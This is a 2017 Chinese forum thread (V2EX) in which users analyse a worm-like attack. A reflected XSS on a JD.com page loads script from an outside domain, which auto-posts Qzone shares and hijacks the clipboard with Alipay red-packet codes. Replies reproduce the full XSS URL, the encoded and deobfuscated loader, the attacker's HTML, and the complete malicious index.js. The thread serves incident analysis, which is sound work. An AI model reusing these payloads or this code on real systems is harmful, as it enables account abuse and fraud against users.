V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
工单节点使用指南
• 请用平和的语言准确描述你所遇到的问题
• 厂商的技术支持和你一样也是有喜怒哀乐的普通人类,尊重是相互的
• 如果是关于 V2EX 本身的问题反馈,请使用 反馈 节点
cy97cool
V2EX  ›  全球工单系统

这是京东被日了? qq 或 tim 打开就会自动发说说

  •  3
     
  •   cy97cool · 2017-12-22 14:39:24 +08:00 via Android · 8217 次点击
    这是一个创建于 2319 天前的主题,其中的信息可能已经有所发展或是发生改变。
    这是京东被日了? qq 或 tim 打开就会自动发说说

    weibo 短链接 /RTkcmPE

    v2ex 不能发短链接,所以感兴趣的可以手动构造出完整 url

    在 qq 或 tim 中慎点 如果点了及时删空间说说
    第 1 条附言  ·  2017-12-22 18:16:09 +08:00
    京东 xss 已经修了
    39 条回复    2017-12-22 18:53:49 +08:00
    cy97cool
        1
    cy97cool  
    OP
       2017-12-22 14:41:20 +08:00 via Android
    还原的长链接

    http://initem.m.jd.com/product/1.html?奔驰男撞人还打人!嚣张气焰终于被干了!过瘾...24101"};eval(atob('dmFyIHM9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpOw0Kcy5zcmMgPSAiaHR0cDovL3d3dy5xcXZpZGVvLmdhL3htbC5waHAiOw0KZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs='));x={c:"x
    mozutaba
        2
    mozutaba  
       2017-12-22 14:42:24 +08:00 via Android
    eval 这个函数你不觉得眼熟嘛?
    cy97cool
        3
    cy97cool  
    OP
       2017-12-22 14:50:28 +08:00 via Android
    jd 这个页面有 xss

    atob 解密出来是

    "var s= document.createElement(\"script\");

    s.src = \"http://www.qqvideo.ga/xml.php\";

    document.head.appendChild(s);"
    cy97cool
        4
    cy97cool  
    OP
       2017-12-22 14:51:58 +08:00 via Android
    在 qq 中点开这个 php 链接得到的是

    (~eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('r=f(){l s};f m(6){7 4="";p(7 i=0;i<6.q;i++){7 a=6.t(i);e(a=="+"){4+=" "}d e(a=="%"){7 b=6.n(i+1,i+3);e(j("h"+b)>w){4+=x("%"+6.n(i+1,i+9));i+=8}d{4+=u.v(j("h"+b));i+=2}}d{4+=a}}l 4}f o(k){5.M("N/O","J");5.K(m(L(k.R)));5.Q()}7 g=5.P("B");g.C="y://z.D.H/I.G?E=c";5.F.A(g);',54,54,'||||ret|document|str|var|||chr|asc||else|if|function|vs|0x||parseInt|req|return|URLdecode|substring|callback_vs|for|length|onerror|true|charAt|String|fromCharCode|0x7f|decodeURI|http|www|appendChild|script|src|qqvideo|ac|head|php|ga|xml|replace|write|atob|open|text|html|createElement|close|content'.split('|'),0,{})))


    不知道咋解密这 js。。。也许已经访问过会不一样?
    fucker
        5
    fucker  
       2017-12-22 14:55:43 +08:00
    洁癖用户试试这个


    http://initem.m.jd.com/product/1.html?%22};eval(console.log(%27XSS%20TEST%27));x={c:%22x
    cy97cool
        6
    cy97cool  
    OP
       2017-12-22 14:58:44 +08:00 via Android
    @fucker
    京东的 xss 已经很显然了,但在用户不知情的情况下自动发说说咋实现的 这一点也许更有趣
    Va1n3R
        7
    Va1n3R  
       2017-12-22 15:04:00 +08:00   ❤️ 1
    京东的反射性 XSS+腾讯 QQ 空间的 CSRF,如果在 qq 空间中所发的内容包含原短连接,那么就是组合型的蠕虫漏洞的。

    京东的 XSS 经过了混淆的,大概意思就是从 http://www.qqvideo.ga/xml.php 这个页面获取下一步动作

    电脑访问会跳转到腾讯视频,手机访问则会直接执行恶意代码

    ###修改 UA 访问以下链接就会得到不同的内容。
    http://www.qqvideo.ga/xml.php
    fucker
        8
    fucker  
       2017-12-22 15:06:41 +08:00   ❤️ 1
    @cy97cool 你用 QQ 浏览器或者 QQ 内嵌浏览器,目测可以执行代码,自动发说说。
    如果你换其他浏览器,或者清空 QQ 浏览器 cookie,那是肯定不能发说说的。
    估计是 csrf
    Va1n3R
        9
    Va1n3R  
       2017-12-22 15:07:27 +08:00   ❤️ 1
    @cy97cool 可以搜一搜 CSRF 漏洞,大概意思就是 http://www.qq.com/forget.php 这个是一个忘记密码的页面,一般需要用户自己进去,但是黑客可以构造一个页面让你访问后直接访问 http://www.qq.com/forget.php?yes 这个页面,造成的效果就是访问了一个其他的页面,缺执行了 qq 里面的动作。 一般是没有加上 token 造成的漏洞。楼主这个地方也可能是别的漏洞造成的,但是我觉得 CSRF 可能性最大。
    cy97cool
        10
    cy97cool  
    OP
       2017-12-22 15:09:24 +08:00 via Android
    @Va1n3R 原理其实我都懂。。。。只是想知道这个 csrf 的具体实现
    fucker
        11
    fucker  
       2017-12-22 15:11:36 +08:00
    @cy97cool 看到#7 @Va1n3R 的回复,估计差不多了。
    那段 js 是混淆过的,(常年目测 md5 值的)我目测是模拟用户发布说说的动作
    cy97cool
        12
    cy97cool  
    OP
       2017-12-22 15:17:53 +08:00 via Android
    @Va1n3R 大神能不能解密一下人家这 xml.php 啊

    我已经在 4 楼给出了,但尝试执行也会报 c35 没定义的错。。。手动把 c35 定义为 0 可以得到内容但网址是 undefined
    janxin
        13
    janxin  
       2017-12-22 15:19:07 +08:00
    刚刚试了一下已经修了?
    fucker
        14
    fucker  
       2017-12-22 15:19:37 +08:00
    @cy97cool 那你直接 document.write 一下呀,把 eval 去掉就可以了
    janxin
        15
    janxin  
       2017-12-22 15:19:57 +08:00
    看错了还没修
    ljsh0102
        16
    ljsh0102  
       2017-12-22 15:20:25 +08:00
    没生效啊
    cy97cool
        17
    cy97cool  
    OP
       2017-12-22 15:23:04 +08:00 via Android
    @fucker 你试试咯。。。。
    c35 is not defined

    难道 qq 浏览器有啥 js 内置变量导致这个判断能过?
    fucker
        18
    fucker  
       2017-12-22 15:23:31 +08:00   ❤️ 1
    @cy97cool 应该是对别的 js 的 hack,没有上下文关系,当然是未定义了
    pelloz
        19
    pelloz  
       2017-12-22 15:24:29 +08:00   ❤️ 4
    将 c35 分别等于 true 和 false 可以得到两份代码,然后将两份代码合并就能得到完整代码
    ----------------------
    onerror = function () { return true };

    function URLdecode(str) {
    var ret = "";
    for (var i = 0;
    i < str.length;
    i++) {
    var chr = str.charAt(i);
    if (chr == "+") { ret += " " } else if (chr == "%") {
    var asc = str.substring(i + 1, i + 3);
    if (parseInt("0x" + asc) > 0x7f) {
    ret += decodeURI("%" + str.substring(i + 1, i + 9));
    i += 8
    } else {
    ret += String.fromCharCode(parseInt("0x" + asc));
    i += 2
    }
    } else { ret += chr }
    } return ret
    }

    function callback_vs(req) {
    document.open("text/html", "replace");
    document.write(URLdecode(atob(req.content)));
    document.close()
    }

    var vs = document.createElement("script");

    vs.src = "http://www.qqvideo.ga/xml.php?ac==c";


    document.head.appendChild(vs);
    -----------------------------
    Va1n3R
        20
    Va1n3R  
       2017-12-22 15:25:41 +08:00   ❤️ 4
    解开了,上面第一次获取的是一个 GET 访问动作:
    http://www.qqvideo.ga/xml.php?ac=c
    获取下一步操作
    内容是一段 base64 和 URLencode 的处理过的,
    ```HTML
    <!doctype html><html><head><title>精彩视频分享!</title><meta charset="utf-8"><meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0"name="viewport"/><link rel="stylesheet"href="http://www.qqvideo.ga/inc/css.css?121509"><script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js"></script><script src="http://www.qqvideo.ga/inc/clipboard.min.js"></script><script src="http://imgcache.gtimg.cn/tencentvideo_v1/tvp/js/tvp.player_v2.js"></script><meta itemprop="name"content=""/><meta itemprop="image"content=""/><meta name="description"itemprop="description"content=""/></head><body><div class="rich_media_title"></div><div class="videoId" id="videoId"></div><div class="winfo"><div class="txttj"><ul id="text_info"></ul></div><div class="imgtj"><div class="wntj"><span>为你推荐</span></div><div class="imgtjlist"></div></div></div><div class="fxbac"></div><div class="sharebox"><div class="p1msg">请分享到 QQ 空间!<br>分享完成后可继续观看。</div><div class="box-bottom"><a class="button-l"href='javascript:;'rel="noreferrer">立即分享</a><span class="button-r">取消</span></div></div><script type="text/javascript"src="http://www.qqvideo.ga/index.js?121535"></script><span style="display:none;"><script src="https://js.users.51.la/6036599.js"></script></span><span id="bottom">Copyright&copy 2017-2018</span></body></html>
    ```
    懒的搞了,服了这些黑产的....
    ljsh0102
        21
    ljsh0102  
       2017-12-22 15:29:09 +08:00
    为毛我试了一圈没见生效啊,修复啦
    Va1n3R
        22
    Va1n3R  
       2017-12-22 15:30:08 +08:00
    @ljsh0102 手机点开,或者电脑修改 user-agent
    Telegram
        23
    Telegram  
       2017-12-22 15:30:12 +08:00 via iPhone
    就是喜欢你们这帮懂 js 的技术宅,贼可爱。
    那么问题来了,京东的人呢,还不进来领漏洞?
    cy97cool
        24
    cy97cool  
    OP
       2017-12-22 15:32:46 +08:00 via Android
    @Va1n3R
    谢谢大佬

    看起来还需要继续跟进 index.js 也许才知道 csrf 咋实现的
    ljsh0102
        25
    ljsh0102  
       2017-12-22 15:35:19 +08:00
    @Va1n3R 手机点开打不开网页.....
    cy97cool
        26
    cy97cool  
    OP
       2017-12-22 15:37:41 +08:00 via Android
    @ljsh0102 我用手机 tim 打开本帖
    https://www.v2ex.com/t/416827#reply24

    可以点开 1L 的长链接
    dlllcs
        27
    dlllcs  
       2017-12-22 15:38:50 +08:00   ❤️ 1
    http://www.qqvideo.ga/index.js?121535:

    var sharesta=false;
    var voddata;
    var vodpic;
    var zCode=["iSVjBI77a7","stEIuv853z","XIPF0u52Nk"];

    function setCookie(name,value,Days){
    var exp = new Date();
    exp.setTime(exp.getTime() + Days*24*60*60*1000);
    document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
    }
    function getCookie(name){
    var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
    if(arr=document.cookie.match(reg))
    return unescape(arr[2]);
    else
    return null;
    }
    function AutoScroll(obj) {
    $(obj).find("ul:first").animate({
    marginTop: "-30px"
    },
    500,
    function() {
    $(this).css({
    marginTop: "0px"
    }).find("li:first").appendTo(this);
    });
    }
    function checkplay(){
    var myAudio = document.getElementById('tenvideo_video_player_0');
    if(myAudio!==null){
    var ptime=myAudio.currentTime;
    if(!myAudio.paused){
    if(ptime >= voddata.playtime && getCookie("share_"+voddata.movieid)!="True"){
    $(".fxbac").css('display','block');
    $(".sharebox").css('display','block');
    //$(".tvp_poster_img").html('<div style="background:url( http://ugc.qpic.cn/gbar_pic/NjBmHRR7MAXeUF3BMAbHianSiah4ic0VArvIMjmNK7EDL3AlVERHecYoA/0); opacity:0.9;filter:alpha(opacity=90); width:235px; height:50px; margin:10px auto;"></div>');
    myAudio.pause();
    }else{
    $(".fxbac").css('display','none');
    $(".sharebox").css('display','none');
    myAudio.play();
    }
    }
    }
    }
    function loadplayer(){
    var video = new tvp.VideoInfo();
    video.setVid(voddata.movieid);
    var player = new tvp.Player();
    player.create({
    video: video,
    modId: "videoId",
    width:$(document).width(),
    height:"240",
    pic:vodpic,
    isHtml5ShowPosterOnEnd:true,
    isHtml5ShowPlayBtnOnPause:true,
    isiPhoneShowPosterOnPause:true,
    vodFlashSkin:'http://imgcache.qq.com/minivideo_v1/vd/res/skins/TencentPlayerMiniSkin.swf',
    });
    setInterval(checkplay,1000);
    }
    function loadplayer2(){
    var video = new tvp.VideoInfo();
    video.setVid(voddata.movieid);
    var player = new tvp.Player($(document).width(), 250);
    player.setCurVideo(video);
    player.addParam("autoplay",0);
    player.write("videoId");
    setInterval(checkplay,1000);
    }
    function open_url(link){
    var html='<a href="'+link+'" target="_blank" rel="noreferrer"><i id="clickobj">link</i></a>';
    $("#bottom").prepend(html);
    $("#clickobj").trigger('click');
    $("a").remove("#bottom a");
    }
    function loadindex(){
    $.getJSON(atob("aHR0cDovL3d3dy5xcXZpZGVvLmdhL2dldGRhdGEucGhw")+'?'+ Math.random(), function(data){
    voddata =data.movie;
    vodpic="http://shp.qpic.cn/qqvideo_ori/0/"+voddata.movieid+"_496_280/0";
    $(document).attr("title",voddata.title);
    $('.rich_media_title').html(voddata.title);
    $("meta[itemprop='name']").attr('content',voddata.title);
    $("meta[itemprop='image']").attr('content',vodpic);
    $("meta[itemprop='description']").attr('content',voddata.desc);
    $.each(data.textad, function(key, content){
    $("#text_info").append("<li><a href='javascript:;' onclick=\"open_url('"+content.url+"')\">"+content.title+"</a></li>");
    });
    $.each(data.imgad, function(key, content){
    $(".imgtjlist").append("<div class='imgtj_list' onclick=\"open_url('"+content.url+"')\"><span>"+content.title+"</span><img src='"+content.img+"'></div>");
    });
    $("#bottom").html(atob(data.botinfo));
    setInterval('AutoScroll(".txttj")', 5000);
    loadplayer();
    });
    }
    $(function() {
    loadindex();
    $(".button-r")["on"]("click",
    function() {
    $(".fxbac")["css"]('display', 'none');
    $(".sharebox")["css"]('display', 'none')
    });
    $(".button-l")["on"]("click",
    function() {
    setCookie("share_" + voddata["movieid"], "True", 1);
    var mfkL1 = {
    url: voddata["surl"],
    desc: '',
    summary: voddata["desc"],
    site: '',
    page: 'qzshare.html',
    logintype: 'qzone',
    referer: voddata["surl"],
    title: voddata["title"],
    loginpage: 'loginindex.html',
    imageUrl: vodpic,
    };
    var zd2 = [];
    for (var syZ3 in mfkL1) {
    zd2["push"](syZ3 + '=' + encodeURIComponent(mfkL1[syZ3] || ''))
    }
    var BiDOtNO5 = ['https://h5.qzone.qq.com/q/qzs/open/connect/widget/mobile/qzshare/index.html?', zd2["join"]('&'), '']["join"]('');
    $(".button-l")["attr"]('href', BiDOtNO5);
    return true
    });
    $('body')["click"](function(jDRjcc7) {
    var QBEUb8 = new Clipboard(('body'));
    $('body')["attr"]('data-clipboard-text', '复制这句话,打开支付宝领取大大大红包!还有惊喜红包等你拿!&' + zCode[window["Math"]["floor"](window["Math"]["random"]() * zCode["length"])] + '&')
    })
    });
    var PLvy9 = $(window["document"]);
    var gtjtc10 = 0;
    var kstowPzk11 = 0;
    addEventListener("touchstart",
    function(yzb12) {
    gtjtc10 = yzb12["touches"][0]["pageY"]
    });
    addEventListener("touchmove",
    function(Y13) {
    kstowPzk11 = Y13["touches"][0]["pageY"];
    if (PLvy9["scrollTop"]() <= 0 && gtjtc10 < kstowPzk11) {
    Y13["preventDefault"]();
    if ($('#_domain_display')["length"] <= 0) {
    $('body')["prepend"]('<div id="_domain_display"><p>\u7f51\u9875\u7531 www.qq.com \u63d0\u4f9b</p></div>')
    }
    $('#_domain_display')["height"]((kstowPzk11 - gtjtc10))
    }
    });
    addEventListener("touchend",
    function(FhKmnhn14) {
    $('#_domain_display')["slideUp"]('normal',
    function() {
    $('#_domain_display')["remove"]()
    })
    });
    Va1n3R
        28
    Va1n3R  
       2017-12-22 15:49:40 +08:00   ❤️ 1
    var BiDOtNO5 = ['https://h5.qzone.qq.com/q/qzs/open/connect/widget/mobile/qzshare/index.html?', zd2["join"]('&'), '']["join"]('');
    $(".button-l")["attr"]('href', BiDOtNO5);
    return true
    });
    button-l 就是这个按钮咯~黑阔直接帮你点了分享按钮,所以访问即发空间~
    dlllcs
        29
    dlllcs  
       2017-12-22 15:49:51 +08:00   ❤️ 1
    主要发说说的代码, 不过好像我测试好像已经失效了:

    ```
    $(function() {
    loadindex();
    $(".button-r")["on"]("click",
    function() {
    $(".fxbac")["css"]('display', 'none');
    $(".sharebox")["css"]('display', 'none')
    });
    $(".button-l")["on"]("click",
    function() {
    setCookie("share_" + voddata["movieid"], "True", 1);
    var mfkL1 = {
    url: voddata["surl"],
    desc: '',
    summary: voddata["desc"],
    site: '',
    page: 'qzshare.html',
    logintype: 'qzone',
    referer: voddata["surl"],
    title: voddata["title"],
    loginpage: 'loginindex.html',
    imageUrl: vodpic,
    };
    var zd2 = [];
    for (var syZ3 in mfkL1) {
    zd2["push"](syZ3 + '=' + encodeURIComponent(mfkL1[syZ3] || ''))
    }
    var BiDOtNO5 = ['xxxx?', zd2["join"]('&'), '']["join"]('');
    $(".button-l")["attr"]('href', BiDOtNO5);
    return true
    });
    $('body')["click"](function(jDRjcc7) {
    var QBEUb8 = new Clipboard(('body'));
    $('body')["attr"]('data-clipboard-text', '复制这句话,打开支付宝领取大大大红包!还有惊喜红包等你拿!&' + zCode[window["Math"]["floor"](window["Math"]["random"]() * zCode["length"])] + '&')
    })
    });
    ```
    Va1n3R
        30
    Va1n3R  
       2017-12-22 15:50:17 +08:00   ❤️ 1
    算得上是 CSRF,角度很刁钻。
    dlllcs
        31
    dlllcs  
       2017-12-22 15:52:32 +08:00   ❤️ 2
    另外,好像不止发说说,还帮你复制了他们的支付宝红包码,在你下次打开支付宝会自动打开他们的红包...

    结论: 又一个为了赚支付宝红包的程序员干的...
    birds7
        32
    birds7  
       2017-12-22 16:59:48 +08:00
    JD 这到现在还没修
    x86
        33
    x86  
       2017-12-22 17:03:30 +08:00
    @dlllcs 支付宝都有了,那抓他就是看两边公司是否愿意报案了
    dong3580
        34
    dong3580  
       2017-12-22 17:30:39 +08:00
    @dlllcs
    原来是这样,前不久出现过打开支付\n 宝自动弹\n 窗红\n 包的情况,不知道那个软件对剪切板下手了,
    dong3580
        35
    dong3580  
       2017-12-22 17:31:41 +08:00
    @Livid
    v2 回帖已经成这样了...唉...
    不知道哪个关键字触发了?
    Livid
        36
    Livid  
    MOD
       2017-12-22 17:48:39 +08:00
    dong3580
        37
    dong3580  
       2017-12-22 18:22:35 +08:00 via Android
    @Livid
    明白
    Jverson
        38
    Jverson  
       2017-12-22 18:25:00 +08:00
    @cy97cool 是不是已经修了,试了一下不行啊
    fox0001
        39
    fox0001  
       2017-12-22 18:53:49 +08:00
    说说是什么?
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   1040 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 28ms · UTC 19:03 · PVG 03:03 · LAX 12:03 · JFK 15:03
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.